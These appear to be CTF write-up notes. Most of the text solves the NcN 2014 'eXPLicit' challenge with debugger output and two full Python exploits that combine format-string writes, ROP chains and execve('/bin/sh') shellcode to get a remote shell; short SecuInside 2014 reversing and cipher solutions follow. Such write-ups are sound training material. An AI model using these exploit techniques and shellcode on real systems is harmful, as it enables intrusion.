# NcN CTF Quals 2k14: eXPLicit (500 points)

# echo 0 > /proc/sys/kernel/randomize_va_space
# ./explicit

# gdb -q -p `ps axuf | grep explicit | head -n 1 | awk '{print $2}'`
Attaching to process 10837
Reading symbols from /eXPLicit/explicit...(no debugging symbols found)...done.
0x0806093c in ?? ()
(gdb) set disassembly-flavor intel
(gdb) set follow-fork-mode child
(gdb) continue
Continuing.

# nc 127.0.0.1 7070
Welcome to Guess The Number Online!

Pick a number between 0 and 20:
 %n
^C

[New process 10894]

Program received signal SIGSEGV, Segmentation fault.
[Switching to process 10894]
0x08072d7d in ?? ()
(gdb) backtrace
#0  0x08072d7d in ?? ()
#1  0x0804f96f in ?? ()
#2  0x08048bfc in ?? ()
#3  0x08048e30 in ?? ()
#4  0x08049056 in ?? ()
#5  0x0804899b in ?? ()
(gdb) x/2i 0x0804f96f-0x5
   
0x804f96a: call   0x806ea80
   0x804f96f: add    esp,0x1c
(gdb) quit

# gdb -q -p `ps axuf | grep explicit | head -n 1 | awk '{print $2}'`
Attaching to process 10837
Reading symbols from /eXPLicit/explicit...(no debugging symbols found)...done.
0x0806093c in ?? ()
(gdb) break *0x806ea80
Breakpoint 1 at 0x806ea80
(gdb) continue
Continuing.

# nc 127.0.0.1 7070
Welcome to Guess The Number Online!

Pick a number between 0 and 20:
 %n

[New process 10952]
[Switching to process 10952]

Breakpoint 1, 0x0806ea80 in ?? ()
(gdb) x/xw $esp
0xbffff59c: 0x0804f96f
(gdb) quit

# ./checksec.sh --file explicit
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
No RELRO        No canary found   NX enabled    No PIE          No RPATH   No RUNPATH   explicit

# gdb -q -x rop.py
=== BINARY ===

Path = /eXPLicit/explicit
Type = elf32
Arch = i386
EP   = 0x804897a
Low  = 0x8048140
High = 0x80ab7f4

=== PRIMITIVE GADGETS (Depth = 1) ===

inc eax
  0x806d6ff: inc eax;

inc ebx

inc ecx

inc edx

mov dword ptr [eax],ebx

mov dword ptr [eax],ecx

mov dword ptr [eax],edx
  0x806d781: mov dword ptr [eax],edx;

mov dword ptr [ebx],eax

mov dword ptr [ebx],ecx

mov dword ptr [ebx],edx

mov dword ptr [ecx],eax

mov dword ptr [ecx],ebx

mov dword ptr [ecx],edx

mov dword ptr [edx],eax
  0x808a73d: mov dword ptr [edx],eax;

mov dword ptr [edx],ebx

mov dword ptr [edx],ecx
  0x8055952: mov dword ptr [edx],ecx;

mov eax,ebx

mov eax,ecx

mov eax,edx
  0x805c1ff: mov eax,edx;
  0x8060aa7: mov eax,edx;

mov ebx,eax

mov ebx,ecx

mov ebx,edx

mov ecx,eax

mov ecx,ebx

mov ecx,edx

mov edx,eax

mov edx,ebx

mov edx,ecx

pop eax
  0x80a8ff6: pop eax;

pop ebx
  0x804d106: pop ebx;
  0x804e73c: pop ebx;
  0x804e7a3: pop ebx;
  0x805169d: pop ebx;
  0x8052239: pop ebx;
  ...

pop ecx

pop edx
  0x8060a56: pop edx;

pop esp
  0x80a8fa6: pop esp;

push eax
  0x80a8f96: push eax;

push ebx

push ecx

push edx

push esp
  0x80a9006: push esp;

xor eax,eax
  0x80551c0: xor eax,eax;
  0x8055bc0: xor eax,eax;
  0x8055c00: xor eax,eax;
  0x8059644: xor eax,eax;
  0x805e0c8: xor eax,eax;
  ...

xor ebx,ebx

xor ecx,ecx

xor edx,edx

int 0x80
  0x8061240: int 0x80;
  0x8082715: int 0x80;
  0x8082725: int 0x80;
  0x8082735: int 0x80;
  0x8082745: int 0x80;

=== VARIABLES ===

inc_eax = 0x806d6ff
mov_dword_ptr_eax_edx = 0x806d781
mov_dword_ptr_edx_eax = 0x808a73d
mov_dword_ptr_edx_ecx = 0x8055952
mov_eax_edx = 0x805c1ff
pop_eax = 0x80a8ff6
pop_ebx = 0x804d106
pop_edx = 0x8060a56
pop_esp = 0x80a8fa6
push_eax = 0x80a8f96
push_esp = 0x80a9006
xor_eax_eax = 0x80551c0
int_0x80 = 0x8061240

# readelf --section-headers explicit | grep '\.bss'
[23] .bss              NOBITS          080d6080 08e060 00136c 00  WA  0   0 64

# cat exploit.py
#!/usr/bin/env python

import socket
import struct
import sys

def whatoffset(what, offset):
       while what <= offset:
              what += 0x100
       what -= offset
       return what, what + offset

def fs_4writes(what, where, offset, init):
       mask     = 0xff
       offset   = 16 + offset # 4 bytes * 4 addr + offset
       what_b0  = (what      ) & mask
       what_b1  = (what >>  8) & mask
       what_b2  = (what >> 16) & mask
       what_b3  = (what >> 24) & mask

       what_b0, offset = whatoffset(what_b0, offset)
       what_b1, offset = whatoffset(what_b1, offset)
       what_b2, offset = whatoffset(what_b2, offset)
       what_b3, offset = whatoffset(what_b3, offset)

       return struct.pack('<I', where      ) + \
              struct.pack('<I', (where + 1)) + \
              struct.pack('<I', (where + 2)) + \
              struct.pack('<I', (where + 3)) + \
              ('%%%dc'    % what_b0        ) + \
              ('%%%d$hhn' % init           ) + \
              ('%%%dc'    % what_b1        ) + \
              ('%%%d$hhn' % (init + 1)     ) + \
              ('%%%dc'    % what_b2        ) + \
              ('%%%d$hhn' % (init + 2)     ) + \
              ('%%%dc'    % what_b3        ) + \
              ('%%%d$hhn' % (init + 3)     )

host = sys.argv[1]
port = int(sys.argv[2])
retaddr = int(sys.argv[3], 16)

c = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
c.connect((host, port))
r = c.recv(1024)

add_esp_0x3c = 0x808cb20
bss = 0x80d6080
inc_eax = 0x806d6ff
inc_ecx = 0x80c7a5c
int_0x80 = 0x8061240
mov_dword_ptr_edx_eax = 0x808a73d
pop_eax = 0x80ced61
pop_ebx = 0x804d106
#0x80cf077: pop ecx; or cl,byte ptr [esi]; or al,0x43; ret
pop_ecx = 0x80cf077
#0x8083fc6: pop edx; or eax,0x89c08508; ret
pop_edx = 0x8083fc6
pop_esi = 0x80499f5
xor_eax_eax = 0x80551c0

dup2_syscall = 0x3f
fd = 0x4
padding = 'P'

fs = fs_4writes(add_esp_0x3c, retaddr, 4, 7)

# ropchain = dup2(fd, 0) + dup2(fd, 1) + dup2(fd, 2) + execve('/bin/sh', 0, 0)

ropchain =    struct.pack('<I', pop_eax) + \
              struct.pack('<I', dup2_syscall) + \
              struct.pack('<I', pop_ebx) + \
              struct.pack('<I', fd) + \
              struct.pack('<I', int_0x80) + \
\
              struct.pack('<I', pop_eax) + \
              struct.pack('<I', dup2_syscall) + \
              struct.pack('<I', inc_ecx) + \
              struct.pack('<I', int_0x80) + \
\
              struct.pack('<I', pop_eax) + \
              struct.pack('<I', dup2_syscall) + \
              struct.pack('<I', inc_ecx) + \
              struct.pack('<I', int_0x80) + \
\
              struct.pack('<I', pop_edx) + \
              struct.pack('<I', bss) + \
              struct.pack('<I', pop_eax) + \
              '/bin' + \
              struct.pack('<I', mov_dword_ptr_edx_eax) + \
\
              struct.pack('<I', pop_edx) + \
              struct.pack('<I', bss + 4) + \
              struct.pack('<I', pop_eax) + \
              '//sh' + \
              struct.pack('<I', mov_dword_ptr_edx_eax) + \
\
              struct.pack('<I', pop_edx) + \
              struct.pack('<I', bss + 8) + \
              struct.pack('<I', xor_eax_eax) + \
              struct.pack('<I', mov_dword_ptr_edx_eax) + \
\
              struct.pack('<I', pop_esi) + \
              struct.pack('<I', bss + 8) + \
              struct.pack('<I', pop_ecx) + \
              struct.pack('<I', bss + 8) + \
              struct.pack('<I', pop_ebx) + \
              struct.pack('<I', bss) + \
              struct.pack('<I', pop_edx) + \
              struct.pack('<I', bss + 8) + \
\
              struct.pack('<I', xor_eax_eax) + \
              struct.pack('<I', inc_eax) * 11 + \
\
              struct.pack('<I', int_0x80)

shellcode =   struct.pack('<I', add_esp_0x3c) + \
              fs + \
              padding + \
              ropchain

c.send(shellcode + '\n')

command = ''
while command[:-1] != 'exit':
       print '> ',
       sys.stdout.flush()
       command = sys.stdin.readline()
       c.send(command)
       sys.stdout.write(c.recv(1024))

c.close()
# ./exploit.py 127.0.0.1 7070 0xbffff59c
>

Another solution using mprotect (based on @esanfelix exploit)

# ./search_instructions.py /eXPLicit/explicit mov+eax,0x3 int+0x80 # read
 805ef57: b8 03 00 00 00        mov    eax,0x3
 805ef5c: cd 80                 int    0x80

 805ef7e: b8 03 00 00 00        mov    eax,0x3
 805ef83: cd 80                 int    0x80

 8082a07: b8 36 00 00 00        mov    eax,0x36
 8082a0c: cd 80                 int    0x80
# ./search_instructions.py /eXPLicit/explicit mov+eax,0x7d int+0x80 # mprotect
 805fa3d: b8 7d 00 00 00        mov    eax,0x7d
 805fa42: cd 80                 int    0x80

# gdb -q explicit
(gdb) x/10i 0x805ef4a
   0x805ef4a: push   ebx
   0x805ef4b: mov    edx,DWORD PTR [esp+0x10]
   0x805ef4f: mov    ecx,DWORD PTR [esp+0xc]
   0x805ef53: mov    ebx,DWORD PTR [esp+0x8]
   0x805ef57: mov    eax,0x3
   0x805ef5c: int    0x80
   0x805ef5e: pop    ebx
   0x805ef5f: cmp    eax,0xfffff001
   0x805ef64: jae    0x8062270
   0x805ef6a: ret
(gdb) x/10i 0x805fa30
   0x805fa30: push   ebx
   0x805fa31: mov    edx,DWORD PTR [esp+0x10]
   0x805fa35: mov    ecx,DWORD PTR [esp+0xc]
   0x805fa39: mov    ebx,DWORD PTR [esp+0x8]
   0x805fa3d: mov    eax,0x7d
   0x805fa42: int    0x80
   0x805fa44: pop    ebx
   0x805fa45: cmp    eax,0xfffff001
   0x805fa4a: jae    0x8062270
   0x805fa50: ret

# ./search_instructions.py /eXPLicit/explicit pop pop pop ret
 8048218: 5e                    pop    esi
 8048219: 5f                    pop    edi
 804821a: 5d                    pop    ebp
 804821b: c3                    ret

# cat exploit-mprotect.py 
#!/usr/bin/env python

import socket
import struct
import sys
import time

def whatoffset(what, offset):
 while what <= offset:
  what += 0x100
 what -= offset
 return what, what + offset

def fs_4writes(what, where, offset, init):
 mask     = 0xff
 offset   = 16 + offset # 4 bytes * 4 addr + offset
 what_b0  = (what      ) & mask
 what_b1  = (what >>  8) & mask
 what_b2  = (what >> 16) & mask
 what_b3  = (what >> 24) & mask

 what_b0, offset = whatoffset(what_b0, offset)
 what_b1, offset = whatoffset(what_b1, offset)
 what_b2, offset = whatoffset(what_b2, offset)
 what_b3, offset = whatoffset(what_b3, offset)

 return struct.pack('<I', where      ) + \
  struct.pack('<I', (where + 1)) + \
  struct.pack('<I', (where + 2)) + \
  struct.pack('<I', (where + 3)) + \
  ('%%%dc'    % what_b0        ) + \
  ('%%%d$hhn' % init           ) + \
  ('%%%dc'    % what_b1        ) + \
  ('%%%d$hhn' % (init + 1)     ) + \
  ('%%%dc'    % what_b2        ) + \
  ('%%%d$hhn' % (init + 2)     ) + \
  ('%%%dc'    % what_b3        ) + \
  ('%%%d$hhn' % (init + 3)     )

host = sys.argv[1]
port = int(sys.argv[2])
retaddr = int(sys.argv[3], 16)

c = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
c.connect((host, port))
r = c.recv(1024)

add_esp_0x3c = 0x808cb20
bss = 0x80d6080
mprotect = 0x805fa30
page_size = 0x1000
page_aligned = bss & ~(page_size - 1)
pop_pop_pop_ret = 0x8048218
prot = 0x4 # [x]wr
read = 0x805ef4a

fd = 0x4
padding = 'P'

fs = fs_4writes(add_esp_0x3c, retaddr, 4, 7)

dup2   = "\x31\xc0\x31\xdb\x31\xc9\xb1\x03\xfe\xc9\xb0\x3f\xb3" + struct.pack('B', fd) + "\xcd\x80\x75\xf6"
execve = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x89\xca\xb0\x0b\xcd\x80"

shellcode_s2 = dup2 + execve

count = len(shellcode_s2) + 1

# ropchain = read(fd, bss, len(shellcode_s2)) + mprotect(page_aligned, page_size, prot)

ropchain = struct.pack('<I', read) + \
  struct.pack('<I', pop_pop_pop_ret) + \
  struct.pack('<I', fd) + \
  struct.pack('<I', bss) + \
  struct.pack('<I', count) + \
\
  struct.pack('<I', mprotect) + \
  struct.pack('<I', bss) + \
  struct.pack('<I', page_aligned) + \
  struct.pack('<I', page_size) + \
  struct.pack('<I', prot)

shellcode_s1 = struct.pack('<I', add_esp_0x3c) + \
  fs + \
  padding + \
  ropchain

c.send(shellcode_s1 + '\n')
time.sleep(0.2)
c.send(shellcode_s2 + '\n')

command = ''
while command[:-1] != 'exit':
 print '> ',
 sys.stdout.flush()
 command = sys.stdin.readline()
 c.send(command)
 sys.stdout.write(c.recv(1024))

c.close()
# ./exploit-mprotect.py 127.0.0.1 7070 0xbffff59c
>

# SecuInside CTF Quals 2k14: Reversing - yayaya (100 points)

# xdotool getmouselocation
# while [ True ]; do import -window root -delay 0 -crop 400x388-0+112 `date +%d%m%y%H%M%S`-$RANDOM.png; sleep 0.1; done
# cat blend-point.py
from PIL import Image
from glob import glob

i2 = None

for f in glob('*.png'):
    i1 = Image.open(f).point(lambda i: 255 if i > 0 else i)
    if i2 is None:
    i2 = i1
    i2 = Image.blend(i1, i2, 0.5).point(lambda i: 255 if i > 0 else i)

#i2.show()
i2.save('result.png')
# convert -crop 330x70+0+0 result.png flag.png
# xxd -p flag.png | tr -d '\n'
89504e470d0a1a0a0000000d494844520000014a00000046010000000082e7e0670000000467414d410000b18f0bfc6105000000017352474200aece1ce9000000206348524d00007a26000080840000fa00000080e8000075300000ea6000003a98000017709cba513c00000002624b47440001dd8a13a4000000097048597300000048000000480046c96b3e0000000976704167000001900000018400f0ee97860000009e4944415448c7ed93410a42310c440772805ea890ab077aa11e2010271111dde842f9b5fe218b69fb3633a4c05724310c1deae8e2aba32606218ede5fc53a1a850e63b4f146acc3d18c25a362d12f8f3294715d7265d6464f9dfa45694c3814cd6422c2ae266f38e536479bf14aa67ab39cf209d451ff0105821c6ecf34111c6f5128ddee682e4716846aa78ac34359d81dcd0f734725ec795df6473faa0b51cd2729b92be3540000002574455874646174653a63726561746500323031342d30362d30355431393a35383a31332b30323a3030ee0ccf6a0000002574455874646174653a6d6f6469667900323031342d30362d30355431393a35383a31332b30323a30309f5177d60000000049454e44ae426082

# SecuInside CTF Quals 2k14: Speed Game - Mic Check (7 points)

# ./rot.py -m inline -d "Q2QnT29oUNW0wtWqySDbw2UhvRIkTRrby2Qdx2g0UOjbwCHoTRrpw3Ei"


['ABCDEFGHIJKLMNOPQRSTUVWXYZ'] (26)

(0) Q2QnT29oUNW0wtWqySDbw2UhvRIkTRrby2Qdx2g0UOjbwCHoTRrpw3Ei
(1) R2RnU29oVOX0wtXqyTEbw2VhvSJkUSrby2Rdx2g0VPjbwDIoUSrpw3Fi
(2) S2SnV29oWPY0wtYqyUFbw2WhvTKkVTrby2Sdx2g0WQjbwEJoVTrpw3Gi
(3) T2TnW29oXQZ0wtZqyVGbw2XhvULkWUrby2Tdx2g0XRjbwFKoWUrpw3Hi
(4) U2UnX29oYRA0wtAqyWHbw2YhvVMkXVrby2Udx2g0YSjbwGLoXVrpw3Ii
(5) V2VnY29oZSB0wtBqyXIbw2ZhvWNkYWrby2Vdx2g0ZTjbwHMoYWrpw3Ji
(6) W2WnZ29oATC0wtCqyYJbw2AhvXOkZXrby2Wdx2g0AUjbwINoZXrpw3Ki
(7) X2XnA29oBUD0wtDqyZKbw2BhvYPkAYrby2Xdx2g0BVjbwJOoAYrpw3Li
(8) Y2YnB29oCVE0wtEqyALbw2ChvZQkBZrby2Ydx2g0CWjbwKPoBZrpw3Mi
(9) Z2ZnC29oDWF0wtFqyBMbw2DhvARkCArby2Zdx2g0DXjbwLQoCArpw3Ni
(10) A2AnD29oEXG0wtGqyCNbw2EhvBSkDBrby2Adx2g0EYjbwMRoDBrpw3Oi
(11) B2BnE29oFYH0wtHqyDObw2FhvCTkECrby2Bdx2g0FZjbwNSoECrpw3Pi
(12) C2CnF29oGZI0wtIqyEPbw2GhvDUkFDrby2Cdx2g0GAjbwOToFDrpw3Qi
(13) D2DnG29oHAJ0wtJqyFQbw2HhvEVkGErby2Ddx2g0HBjbwPUoGErpw3Ri
(14) E2EnH29oIBK0wtKqyGRbw2IhvFWkHFrby2Edx2g0ICjbwQVoHFrpw3Si
(15) F2FnI29oJCL0wtLqyHSbw2JhvGXkIGrby2Fdx2g0JDjbwRWoIGrpw3Ti
(16) G2GnJ29oKDM0wtMqyITbw2KhvHYkJHrby2Gdx2g0KEjbwSXoJHrpw3Ui
(17) H2HnK29oLEN0wtNqyJUbw2LhvIZkKIrby2Hdx2g0LFjbwTYoKIrpw3Vi
(18) I2InL29oMFO0wtOqyKVbw2MhvJAkLJrby2Idx2g0MGjbwUZoLJrpw3Wi
(19) J2JnM29oNGP0wtPqyLWbw2NhvKBkMKrby2Jdx2g0NHjbwVAoMKrpw3Xi
(20) K2KnN29oOHQ0wtQqyMXbw2OhvLCkNLrby2Kdx2g0OIjbwWBoNLrpw3Yi
(21) L2LnO29oPIR0wtRqyNYbw2PhvMDkOMrby2Ldx2g0PJjbwXCoOMrpw3Zi
(22) M2MnP29oQJS0wtSqyOZbw2QhvNEkPNrby2Mdx2g0QKjbwYDoPNrpw3Ai
(23) N2NnQ29oRKT0wtTqyPAbw2RhvOFkQOrby2Ndx2g0RLjbwZEoQOrpw3Bi
(24) O2OnR29oSLU0wtUqyQBbw2ShvPGkRPrby2Odx2g0SMjbwAFoRPrpw3Ci
(25) P2PnS29oTMV0wtVqyRCbw2ThvQHkSQrby2Pdx2g0TNjbwBGoSQrpw3Di

['abcdefghijklmnopqrstuvwxyz'] (26)

(0) Q2QnT29oUNW0wtWqySDbw2UhvRIkTRrby2Qdx2g0UOjbwCHoTRrpw3Ei
(1) Q2QoT29pUNW0xuWrzSDcx2UiwRIlTRscz2Qey2h0UOkcxCHpTRsqx3Ej
(2) Q2QpT29qUNW0yvWsaSDdy2UjxRImTRtda2Qfz2i0UOldyCHqTRtry3Ek
(3) Q2QqT29rUNW0zwWtbSDez2UkyRInTRueb2Qga2j0UOmezCHrTRusz3El
(4) Q2QrT29sUNW0axWucSDfa2UlzRIoTRvfc2Qhb2k0UOnfaCHsTRvta3Em
(5) Q2QsT29tUNW0byWvdSDgb2UmaRIpTRwgd2Qic2l0UOogbCHtTRwub3En
(6) Q2QtT29uUNW0czWweSDhc2UnbRIqTRxhe2Qjd2m0UOphcCHuTRxvc3Eo
(7) Q2QuT29vUNW0daWxfSDid2UocRIrTRyif2Qke2n0UOqidCHvTRywd3Ep
(8) Q2QvT29wUNW0ebWygSDje2UpdRIsTRzjg2Qlf2o0UOrjeCHwTRzxe3Eq
(9) Q2QwT29xUNW0fcWzhSDkf2UqeRItTRakh2Qmg2p0UOskfCHxTRayf3Er
(10) Q2QxT29yUNW0gdWaiSDlg2UrfRIuTRbli2Qnh2q0UOtlgCHyTRbzg3Es
(11) Q2QyT29zUNW0heWbjSDmh2UsgRIvTRcmj2Qoi2r0UOumhCHzTRcah3Et
(12) Q2QzT29aUNW0ifWckSDni2UthRIwTRdnk2Qpj2s0UOvniCHaTRdbi3Eu
(13) Q2QaT29bUNW0jgWdlSDoj2UuiRIxTReol2Qqk2t0UOwojCHbTRecj3Ev
(14) Q2QbT29cUNW0khWemSDpk2UvjRIyTRfpm2Qrl2u0UOxpkCHcTRfdk3Ew
(15) Q2QcT29dUNW0liWfnSDql2UwkRIzTRgqn2Qsm2v0UOyqlCHdTRgel3Ex
(16) Q2QdT29eUNW0mjWgoSDrm2UxlRIaTRhro2Qtn2w0UOzrmCHeTRhfm3Ey
(17) Q2QeT29fUNW0nkWhpSDsn2UymRIbTRisp2Quo2x0UOasnCHfTRign3Ez
(18) Q2QfT29gUNW0olWiqSDto2UznRIcTRjtq2Qvp2y0UObtoCHgTRjho3Ea
(19) Q2QgT29hUNW0pmWjrSDup2UaoRIdTRkur2Qwq2z0UOcupCHhTRkip3Eb
(20) Q2QhT29iUNW0qnWksSDvq2UbpRIeTRlvs2Qxr2a0UOdvqCHiTRljq3Ec
(21) Q2QiT29jUNW0roWltSDwr2UcqRIfTRmwt2Qys2b0UOewrCHjTRmkr3Ed
(22) Q2QjT29kUNW0spWmuSDxs2UdrRIgTRnxu2Qzt2c0UOfxsCHkTRnls3Ee
(23) Q2QkT29lUNW0tqWnvSDyt2UesRIhTRoyv2Qau2d0UOgytCHlTRomt3Ef
(24) Q2QlT29mUNW0urWowSDzu2UftRIiTRpzw2Qbv2e0UOhzuCHmTRpnu3Eg
(25) Q2QmT29nUNW0vsWpxSDav2UguRIjTRqax2Qcw2f0UOiavCHnTRqov3Eh

['ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'] (52)

(0) Q2QnT29oUNW0wtWqySDbw2UhvRIkTRrby2Qdx2g0UOjbwCHoTRrpw3Ei
(1) R2RoU29pVOX0xuXrzTEcx2ViwSJlUSscz2Rey2h0VPkcxDIpUSsqx3Fj
(2) S2SpV29qWPY0yvYsAUFdy2WjxTKmVTtdA2Sfz2i0WQldyEJqVTtry3Gk
(3) T2TqW29rXQZ0zwZtBVGez2XkyULnWUueB2TgA2j0XRmezFKrWUusz3Hl
(4) U2UrX29sYRa0AxauCWHfA2YlzVMoXVvfC2UhB2k0YSnfAGLsXVvtA3Im
(5) V2VsY29tZSb0BybvDXIgB2ZmAWNpYWwgD2ViC2l0ZTogBHMtYWwuB3Jn
(6) W2WtZ29uaTc0CzcwEYJhC2anBXOqZXxhE2WjD2m0aUphCINuZXxvC3Ko
(7) X2Xua29vbUd0DAdxFZKiD2boCYPraYyiF2XkE2n0bVqiDJOvaYywD3Lp
(8) Y2Yvb29wcVe0EBeyGaLjE2cpDZQsbZzjG2YlF2o0cWrjEKPwbZzxE3Mq
(9) Z2Zwc29xdWf0FCfzHbMkF2dqEaRtcaAkH2ZmG2p0dXskFLQxcaAyF3Nr
(10) a2axd29yeXg0GDgAIcNlG2erFbSudbBlI2anH2q0eYtlGMRydbBzG3Os
(11) b2bye29zfYh0HEhBJdOmH2fsGcTvecCmJ2boI2r0fZumHNSzecCAH3Pt
(12) c2czf29AgZi0IFiCKePnI2gtHdUwfdDnK2cpJ2s0gavnIOTAfdDBI3Qu
(13) d2dAg29Bhaj0JGjDLfQoJ2huIeVxgeEoL2dqK2t0hbwoJPUBgeECJ3Rv
(14) e2eBh29Cibk0KHkEMgRpK2ivJfWyhfFpM2erL2u0icxpKQVChfFDK3Sw
(15) f2fCi29Djcl0LIlFNhSqL2jwKgXzigGqN2fsM2v0jdyqLRWDigGEL3Tx
(16) g2gDj29Ekdm0MJmGOiTrM2kxLhYAjhHrO2gtN2w0kezrMSXEjhHFM3Uy
(17) h2hEk29Flen0NKnHPjUsN2lyMiZBkiIsP2huO2x0lfAsNTYFkiIGN3Vz
(18) i2iFl29Gmfo0OLoIQkVtO2mzNjaCljJtQ2ivP2y0mgBtOUZGljJHO3WA
(19) j2jGm29Hngp0PMpJRlWuP2nAOkbDmkKuR2jwQ2z0nhCuPVaHmkKIP3XB
(20) k2kHn29Iohq0QNqKSmXvQ2oBPlcEnlLvS2kxR2A0oiDvQWbInlLJQ3YC
(21) l2lIo29Jpir0ROrLTnYwR2pCQmdFomMwT2lyS2B0pjEwRXcJomMKR3ZD
(22) m2mJp29Kqjs0SPsMUoZxS2qDRneGpnNxU2mzT2C0qkFxSYdKpnNLS3aE
(23) n2nKq29Lrkt0TQtNVpayT2rESofHqoOyV2nAU2D0rlGyTZeLqoOMT3bF
(24) o2oLr29Mslu0URuOWqbzU2sFTpgIrpPzW2oBV2E0smHzUafMrpPNU3cG
(25) p2pMs29Ntmv0VSvPXrcAV2tGUqhJsqQAX2pCW2F0tnIAVbgNsqQOV3dH
(26) q2qNt29Ounw0WTwQYsdBW2uHVriKtrRBY2qDX2G0uoJBWchOtrRPW3eI
(27) r2rOu29Pvox0XUxRZteCX2vIWsjLusSCZ2rEY2H0vpKCXdiPusSQX3fJ
(28) s2sPv29Qwpy0YVySaufDY2wJXtkMvtTDa2sFZ2I0wqLDYejQvtTRY3gK
(29) t2tQw29Rxqz0ZWzTbvgEZ2xKYulNwuUEb2tGa2J0xrMEZfkRwuUSZ3hL
(30) u2uRx29SyrA0aXAUcwhFa2yLZvmOxvVFc2uHb2K0ysNFaglSxvVTa3iM
(31) v2vSy29TzsB0bYBVdxiGb2zMawnPywWGd2vIc2L0ztOGbhmTywWUb3jN
(32) w2wTz29UAtC0cZCWeyjHc2ANbxoQzxXHe2wJd2M0AuPHcinUzxXVc3kO
(33) x2xUA29VBuD0daDXfzkId2BOcypRAyYIf2xKe2N0BvQIdjoVAyYWd3lP
(34) y2yVB29WCvE0ebEYgAlJe2CPdzqSBzZJg2yLf2O0CwRJekpWBzZXe3mQ
(35) z2zWC29XDwF0fcFZhBmKf2DQeArTCAaKh2zMg2P0DxSKflqXCAaYf3nR
(36) A2AXD29YExG0gdGaiCnLg2ERfBsUDBbLi2ANh2Q0EyTLgmrYDBbZg3oS
(37) B2BYE29ZFyH0heHbjDoMh2FSgCtVECcMj2BOi2R0FzUMhnsZECcah3pT
(38) C2CZF29aGzI0ifIckEpNi2GThDuWFDdNk2CPj2S0GAVNiotaFDdbi3qU
(39) D2DaG29bHAJ0jgJdlFqOj2HUiEvXGEeOl2DQk2T0HBWOjpubGEecj3rV
(40) E2EbH29cIBK0khKemGrPk2IVjFwYHFfPm2ERl2U0ICXPkqvcHFfdk3sW
(41) F2FcI29dJCL0liLfnHsQl2JWkGxZIGgQn2FSm2V0JDYQlrwdIGgel3tX
(42) G2GdJ29eKDM0mjMgoItRm2KXlHyaJHhRo2GTn2W0KEZRmsxeJHhfm3uY
(43) H2HeK29fLEN0nkNhpJuSn2LYmIzbKIiSp2HUo2X0LFaSntyfKIign3vZ
(44) I2IfL29gMFO0olOiqKvTo2MZnJAcLJjTq2IVp2Y0MGbTouzgLJjho3wa
(45) J2JgM29hNGP0pmPjrLwUp2NaoKBdMKkUr2JWq2Z0NHcUpvAhMKkip3xb
(46) K2KhN29iOHQ0qnQksMxVq2ObpLCeNLlVs2KXr2a0OIdVqwBiNLljq3yc
(47) L2LiO29jPIR0roRltNyWr2PcqMDfOMmWt2LYs2b0PJeWrxCjOMmkr3zd
(48) M2MjP29kQJS0spSmuOzXs2QdrNEgPNnXu2MZt2c0QKfXsyDkPNnls3Ae
(49) N2NkQ29lRKT0tqTnvPAYt2ResOFhQOoYv2Nau2d0RLgYtzElQOomt3Bf
(50) O2OlR29mSLU0urUowQBZu2SftPGiRPpZw2Obv2e0SMhZuAFmRPpnu3Cg
(51) P2PmS29nTMV0vsVpxRCav2TguQHjSQqax2Pcw2f0TNiavBGnSQqov3Dh

['abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'] (52)

(0) Q2QnT29oUNW0wtWqySDbw2UhvRIkTRrby2Qdx2g0UOjbwCHoTRrpw3Ei
(1) R2RoU29pVOX0xuXrzTEcx2ViwSJlUSscz2Rey2h0VPkcxDIpUSsqx3Fj
(2) S2SpV29qWPY0yvYsAUFdy2WjxTKmVTtdA2Sfz2i0WQldyEJqVTtry3Gk
(3) T2TqW29rXQZ0zwZtBVGez2XkyULnWUueB2TgA2j0XRmezFKrWUusz3Hl
(4) U2UrX29sYRa0AxauCWHfA2YlzVMoXVvfC2UhB2k0YSnfAGLsXVvtA3Im
(5) V2VsY29tZSb0BybvDXIgB2ZmAWNpYWwgD2ViC2l0ZTogBHMtYWwuB3Jn
(6) W2WtZ29uaTc0CzcwEYJhC2anBXOqZXxhE2WjD2m0aUphCINuZXxvC3Ko
(7) X2Xua29vbUd0DAdxFZKiD2boCYPraYyiF2XkE2n0bVqiDJOvaYywD3Lp
(8) Y2Yvb29wcVe0EBeyGaLjE2cpDZQsbZzjG2YlF2o0cWrjEKPwbZzxE3Mq
(9) Z2Zwc29xdWf0FCfzHbMkF2dqEaRtcaAkH2ZmG2p0dXskFLQxcaAyF3Nr
(10) a2axd29yeXg0GDgAIcNlG2erFbSudbBlI2anH2q0eYtlGMRydbBzG3Os
(11) b2bye29zfYh0HEhBJdOmH2fsGcTvecCmJ2boI2r0fZumHNSzecCAH3Pt
(12) c2czf29AgZi0IFiCKePnI2gtHdUwfdDnK2cpJ2s0gavnIOTAfdDBI3Qu
(13) d2dAg29Bhaj0JGjDLfQoJ2huIeVxgeEoL2dqK2t0hbwoJPUBgeECJ3Rv
(14) e2eBh29Cibk0KHkEMgRpK2ivJfWyhfFpM2erL2u0icxpKQVChfFDK3Sw
(15) f2fCi29Djcl0LIlFNhSqL2jwKgXzigGqN2fsM2v0jdyqLRWDigGEL3Tx
(16) g2gDj29Ekdm0MJmGOiTrM2kxLhYAjhHrO2gtN2w0kezrMSXEjhHFM3Uy
(17) h2hEk29Flen0NKnHPjUsN2lyMiZBkiIsP2huO2x0lfAsNTYFkiIGN3Vz
(18) i2iFl29Gmfo0OLoIQkVtO2mzNjaCljJtQ2ivP2y0mgBtOUZGljJHO3WA
(19) j2jGm29Hngp0PMpJRlWuP2nAOkbDmkKuR2jwQ2z0nhCuPVaHmkKIP3XB
(20) k2kHn29Iohq0QNqKSmXvQ2oBPlcEnlLvS2kxR2A0oiDvQWbInlLJQ3YC
(21) l2lIo29Jpir0ROrLTnYwR2pCQmdFomMwT2lyS2B0pjEwRXcJomMKR3ZD
(22) m2mJp29Kqjs0SPsMUoZxS2qDRneGpnNxU2mzT2C0qkFxSYdKpnNLS3aE
(23) n2nKq29Lrkt0TQtNVpayT2rESofHqoOyV2nAU2D0rlGyTZeLqoOMT3bF
(24) o2oLr29Mslu0URuOWqbzU2sFTpgIrpPzW2oBV2E0smHzUafMrpPNU3cG
(25) p2pMs29Ntmv0VSvPXrcAV2tGUqhJsqQAX2pCW2F0tnIAVbgNsqQOV3dH
